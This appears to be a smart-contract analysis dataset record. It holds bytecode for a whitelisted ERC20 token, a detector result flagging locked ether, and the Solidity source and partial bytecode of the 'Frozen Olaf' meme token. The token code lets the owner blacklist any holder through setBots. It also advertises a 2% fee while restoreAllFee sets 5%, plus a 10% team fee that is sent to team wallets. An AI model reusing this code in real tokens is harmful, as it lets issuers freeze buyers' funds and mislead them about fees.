906101000a900460ff1615151461124357600080fd5b5b60011515611251846118a3565b151514611293576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128a9061242b565b60405180910390fd5b6000600460006112a161194b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561135e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113559061252b565b60405180910390fd5b6113718382611ed690919063ffffffff16565b905061138561137e61194b565b8583611953565b600191505092915050565b600061139a610cf9565b156113da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d19061240b565b60405180910390fd5b60011515600260009054906101000a900460ff161515141561145b57600115156001600061140661194b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461145a57600080fd5b5b61146d61146661194b565b8484611bbc565b6001905092915050565b61147f61194b565b73ffffffffffffffffffffffffffffffffffffffff1661149d610fb1565b73ffffffffffffffffffffffffffffffffffffffff16146114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061246b565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fb45ed207508f815c07f3ca316aa096a9e44808421ca36c73b2c81c1aeb220a6a8160405161157a91906122d3565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61161461194b565b73ffffffffffffffffffffffffffffffffffffffff16611632610fb1565b73ffffffffffffffffffffffffffffffffffffffff1614611688576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167f9061246b565b60405180910390fd5b6001600260006101000a81548160ff0219169083151502179055507fefa3ab7e2558777b82414ddea785edaaecc991a14373ab964651c9f7e34a9a876116cc61194b565b6040516116d991906122d3565b60405180910390a1565b6000600260009054906101000a900460ff16905090565b61170261194b565b73ffffffffffffffffffffffffffffffffffffffff16611720610fb1565b73ffffffffffffffffffffffffffffffffffffffff1614611776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176d9061246b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117dd906123ab565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000801515600260009054906101000a900460ff16151514156118c95760019050611930565b60011515600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561192b5760019050611930565b600090505b919050565b60008183611943919061259d565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ba906124eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2a906123cb565b60405180910390fd5b60011515611a40846118a3565b151514611a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a799061250b565b60405180910390fd5b60011515611a8f836118a3565b151514611ad1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac8906124cb565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611baf919061254b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c23906124ab565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c939061232b565b60405180910390fd5b60011515611ca9836118a3565b151514611ceb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce29061248b565b60405180910390fd5b611cf6838383611eec565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611d7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d74906123eb565b60405180910390fd5b611d908282611ed690919063ffffffff16565b905080600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e2882600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193590919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ec8919061254b565b60405180910390a350505050565b60008183611ee491906125f3565b905092915050565b505050565b600081359050611f0081612c43565b92915050565b600081359050611f1581612c5a565b92915050565b600060208284031215611f2d57600080fd5b6000611f3b84828501611ef1565b91505092915050565b60008060408385031215611f5757600080fd5b6000611f6585828601611ef1565b9250506020611f7685828601611ef1565b9150509250929050565b600080600060608486031215611f9557600080fd5b6000611fa386828701611ef1565b9350506020611fb486828701611ef1565b9250506040611fc586828701611f06565b9150509250925092565b60008060408385031215611fe257600080fd5b6000611ff085828601611ef1565b925050602061200185828601611f06565b9150509250929050565b61201481612627565b82525050565b61202381612639565b82525050565b600061203482612581565b61203e818561258c565b935061204e81856020860161267c565b6120578161273f565b840191505092915050565b600061206f60238361258c565b915061207a82612750565b604082019050919050565b600061209260148361258c565b915061209d8261279f565b602082019050919050565b60006120b5603f8361258c565b91506120c0826127c8565b604082019050919050565b60006120d860428361258c565b91506120e382612817565b606082019050919050565b60006120fb60268361258c565b91506121068261288c565b604082019050919050565b600061211e60228361258c565b9150612129826128db565b604082019050919050565b600061214160268361258c565b915061214c8261292a565b604082019050919050565b600061216460108361258c565b915061216f82612979565b602082019050919050565b600061218760408361258c565b9150612192826129a2565b604082019050919050565b60006121aa60288361258c565b91506121b5826129f1565b604082019050919050565b60006121cd60208361258c565b91506121d882612a40565b602082019050919050565b60006121f060368361258c565b91506121fb82612a69565b604082019050919050565b600061221360258361258c565b915061221e82612ab8565b604082019050919050565b600061223660408361258c565b915061224182612b07565b604082019050919050565b600061225960248361258c565b915061226482612b56565b604082019050919050565b600061227c603e8361258c565b915061228782612ba5565b604082019050919050565b600061229f60258361258c565b91506122aa82612bf4565b604082019050919050565b6122be81612665565b82525050565b6122cd8161266f565b82525050565b60006020820190506122e8600083018461200b565b92915050565b6000602082019050612303600083018461201a565b92915050565b600060208201905081810360008301526123238184612029565b905092915050565b6000602082019050818103600083015261234481612062565b9050919050565b6000602082019050818103600083015261236481612085565b9050919050565b60006020820190508181036000830152612384816120a8565b9050919050565b600060208201905081810360008301526123a4816120cb565b9050919050565b600060208201905081810360008301526123c4816120ee565b9050919050565b600060208201905081810360008301526123e481612111565b9050919050565b6000602082019050818103600083015261240481612134565b9050919050565b6000602082019050818103600083015261242481612157565b9050919050565b600060208201905081810360008301526124448161217a565b9050919050565b600060208201905081810360008301526124648161219d565b9050919050565b60006020820190508181036000830152612484816121c0565b9050919050565b600060208201905081810360008301526124a4816121e3565b9050919050565b600060208201905081810360008301526124c481612206565b9050919050565b600060208201905081810360008301526124e481612229565b9050919050565b600060208201905081810360008301526125048161224c565b9050919050565b600060208201905081810360008301526125248161226f565b9050919050565b6000602082019050818103600083015261254481612292565b9050919050565b600060208201905061256060008301846122b5565b92915050565b600060208201905061257b60008301846122c4565b92915050565b600081519050919050565b600082825260208201905092915050565b60006125a882612665565b91506125b383612665565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125e8576125e76126e1565b5b828201905092915050565b60006125fe82612665565b915061260983612665565b92508282101561261c5761261b6126e1565b5b828203905092915050565b600061263282612645565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561269a57808201518184015260208101905061267f565b838111156126a9576000848401525b50505050565b600060028204905060018216806126c757607f821691505b602082108114156126db576126da612710565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f5061757361626c653a206e6f7420706175736564000000000000000000000000600082015250565b7f45524332302057686974654c6973743a207472616e7366657220746f2074686560008201527f2061646472657373206e6f742077686974656c697374202853656e6465722900602082015250565b7f45524332302057686974654c6973743a207472616e7366657220746f2074686560008201527f2061646472657373206e6f742077686974656c6973742028526563697069656e60208201527f7429000000000000000000000000000000000000000000000000000000000000604082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f5061757361626c653a2070617573656400000000000000000000000000000000600082015250565b7f45524332302057686974654c6973743a207472616e7366657220746f2074686560008201527f2061646472657373206e6f742077686974656c69737420285370656e64657229602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332302057686974654c6973743a207472616e7366657220746f2074686560008201527f2061646472657373206e6f742077686974656c69737400000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332302057686974654c6973743a207472616e7366657220746f2074686560008201527f2061646472657373206e6f742077686974656c69737420285350454e44455229602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332302057686974654c6973743a207472616e7366657220746f2074686560008201527f2061646472657373206e6f742077686974656c69737420284f776e6572290000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b612c4c81612627565b8114612c5757600080fd5b50565b612c6381612665565b8114612c6e57600080fd5b5056fea26469706673582212208dd0f0358869b123a19bf61938608e135a59f5829919ac2db7a9a01d6cb7b38a64736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
3,098
0xef66a18f937ad1ebb3e39af2a825cc11b76bc9c6
//Frozen Olaf ($OLAF) //2% Deflationary yes //Telegram: https://t.me/frozenolafofficial //CG, CMC listing: Ongoing //Fair Launch // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FrozenOlaf is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Frozen Olaf"; string private constant _symbol = "OLAF"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (20 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _taxFee, _teamFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600b81526020017f46726f7a656e204f6c6166000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4f4c414600000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e